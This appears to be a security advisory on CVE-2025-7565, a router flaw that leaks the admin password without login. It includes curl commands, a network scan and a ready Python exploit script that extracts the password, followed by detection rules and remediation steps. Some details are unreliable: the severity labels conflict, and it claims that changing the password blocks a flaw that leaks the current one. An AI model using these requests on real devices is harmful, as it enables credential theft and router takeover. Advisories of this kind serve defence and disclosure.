CVE-2025-7565

Executive Summary

CVE-2025-7565 is a critical information disclosure vulnerability affecting the LB-LINK BL-AC3600 router, specifically firmware versions up to and including 1.0.22. The flaw resides in the Web Management Interface, within the /cgi-bin/lighttpd.cgi endpoint, where the geteasycfg function exposes sensitive configuration data, including the administrative password, when the Password argument is manipulated. This allows an unauthenticated, remote attacker to retrieve the device's administrative credentials, leading to full device compromise. The exploit has been publicly disclosed, and no vendor patch is currently available. The CVSS v3.1 base score is 7.5 (High), driven by network exploitability and high confidentiality impact.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full disclosure of administrative credentials.
• Integrity (I): None (N) – No direct data modification.
• Availability (A): None (N) – No direct denial of service.

Threat Level: Critical. The combination of remote, unauthenticated access and the disclosure of the administrative password makes this a high-priority threat. An attacker can gain full control of the router, enabling traffic interception, DNS hijacking, and lateral movement within the network.

Deep Dive & Mechanics

The vulnerability is a classic case of Information Exposure (CWE-200). The geteasycfg function within the /cgi-bin/lighttpd.cgi CGI script is designed to export the device's configuration. However, it fails to properly authenticate the request or sanitize the output. By sending a crafted HTTP GET request to this endpoint with the Password parameter set to a specific value (likely an empty string or a known placeholder), the script returns the entire configuration file, which includes the plaintext administrative password.

Root Cause: The CGI script does not enforce any access control checks before processing the geteasycfg action. It blindly trusts the incoming request and returns sensitive data. This is a common design flaw in embedded devices where security is an afterthought.

Attack Flow:

1. Reconnaissance: The attacker identifies a LB-LINK BL-AC3600 router on the network, possibly via Shodan or local network scanning.
2. Exploitation: The attacker sends a GET request to http://<router-ip>/cgi-bin/lighttpd.cgi?geteasycfg&Password=.
3. Data Exfiltration: The router responds with the configuration file, which contains the admin password in plaintext.
4. Full Compromise: The attacker logs into the router's web interface using the extracted credentials, gaining full administrative control.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code path. The following is a hypothetical representation of the vulnerable CGI script logic.

Vulnerable Code (Python-like pseudocode):

#!/usr/bin/env python
import cgi
import os

def get_easy_cfg():
    # No authentication check!
    config_file = "/etc/config/router.conf"
    if os.path.exists(config_file):
        with open(config_file, 'r') as f:
            print("Content-Type: text/plain\n")
            print(f.read())
    else:
        print("Status: 404 Not Found")

form = cgi.FieldStorage()
if 'geteasycfg' in form:
    get_easy_cfg()

Patched Code (Hypothetical):

#!/usr/bin/env python
import cgi
import os
import hashlib

def authenticate():
    # Check for a valid session token or basic auth
    auth_header = os.environ.get('HTTP_AUTHORIZATION')
    if not auth_header or not validate_session(auth_header):
        print("Status: 401 Unauthorized")
        print("Content-Type: text/plain\n")
        print("Authentication required")
        return False
    return True

def get_easy_cfg():
    if not authenticate():
        return
    config_file = "/etc/config/router.conf"
    if os.path.exists(config_file):
        with open(config_file, 'r') as f:
            # Sanitize output - remove password field
            config_data = f.read()
            config_data = config_data.replace("password=", "password=REDACTED")
            print("Content-Type: text/plain\n")
            print(config_data)
    else:
        print("Status: 404 Not Found")

form = cgi.FieldStorage()
if 'geteasycfg' in form:
    get_easy_cfg()

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable LB-LINK BL-AC3600 router (firmware <= 1.0.22).
• Network access to the router's management interface (typically port 80 or 443).

Exploitation Steps:

1. Identify Target: Use Shodan or nmap to find devices.

   nmap -p 80,443 --open -sV 192.168.1.0/24
   

2. Extract Configuration:

   curl "http://<target-ip>/cgi-bin/lighttpd.cgi?geteasycfg&Password="
   

3. Parse Output: The response will contain the full configuration. Look for the admin password line.

   curl -s "http://<target-ip>/cgi-bin/lighttpd.cgi?geteasycfg&Password=" | grep -i "password"
   

4. Full Compromise: Use the extracted password to log into the web interface and modify settings (e.g., DNS, firewall rules).

Automated Exploit (Python):

import requests
import sys

def exploit(target_ip):
    url = f"http://{target_ip}/cgi-bin/lighttpd.cgi?geteasycfg&Password="
    try:
        response = requests.get(url, timeout=10)
        if response.status_code == 200 and "password" in response.text.lower():
            print("[+] Success! Configuration extracted.")
            print(response.text)
        else:
            print("[-] Failed to extract configuration.")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <target-ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team (Defensive)

Detection & Prevention:

1. Network Monitoring: Monitor for HTTP GET requests to /cgi-bin/lighttpd.cgi with the geteasycfg parameter.
2. Access Control: If possible, restrict access to the management interface to trusted IP addresses only.
3. Firmware Update: Check the vendor's website for any firmware updates. If none exist, consider replacing the device.
4. Honeypot: Deploy a honeypot mimicking the BL-AC3600 to detect scanning and exploitation attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /cgi-bin/lighttpd.cgi?geteasycfg&Password=
• Source IP addresses scanning for LB-LINK devices (Shodan dorks).
• Unusual outbound connections from the router after compromise (e.g., to C2 servers).

Host IOCs (on the router):

• Modified configuration files (e.g., DNS settings, admin password).
• New processes or services running on the router.
• Unauthorized SSH or Telnet sessions.

File IOCs:

• The configuration file /etc/config/router.conf (or similar) being accessed via the web interface.

Detection Engineering

YARA Rule

rule CVE_2025_7565_LB_LINK_Info_Disclosure {
    meta:
        description = "Detects HTTP requests targeting the geteasycfg vulnerability in LB-LINK BL-AC3600"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7565"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "geteasycfg" ascii wide nocase
        $s2 = "Password=" ascii wide nocase
        $s3 = "lighttpd.cgi" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-7565 - LB-LINK BL-AC3600 Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP GET requests to the vulnerable geteasycfg endpoint on LB-LINK routers.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7565
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'geteasycfg'
            - 'Password='
        cs-uri-stem|endswith: '/cgi-bin/lighttpd.cgi'
    condition: selection
falsepositives:
    - Legitimate administrative actions (if any)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-7565 - LB-LINK BL-AC3600 Information Disclosure Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/cgi-bin/lighttpd.cgi"; http_uri; content:"geteasycfg"; http_uri; content:"Password="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: If the router is critical, isolate it from the internet and untrusted networks. Only allow management from a dedicated, secure management VLAN.
2. Change Default Credentials: Immediately change the admin password to a strong, unique password. This will not fix the vulnerability but will prevent exploitation if the password has not already been leaked.
3. Disable Remote Management: If remote management is not required, disable it in the router's settings.
4. Monitor Logs: Review router logs for any suspicious access to the /cgi-bin/lighttpd.cgi endpoint.

Long-Term Remediation:

1. Vendor Patch: The vendor (LB-LINK) must release a firmware update that implements proper authentication and authorization for the geteasycfg function. Since they have not responded, this is unlikely.
2. Device Replacement: The most secure long-term solution is to replace the LB-LINK BL-AC3600 with a router from a vendor with a proven security track record and active firmware support.
3. Web Application Firewall (WAF): Deploy a WAF in front of the router (if possible) to block requests matching the Sigma/Suricata rules.

Valters IT
DevSecOps & Cyber Threat Intelligence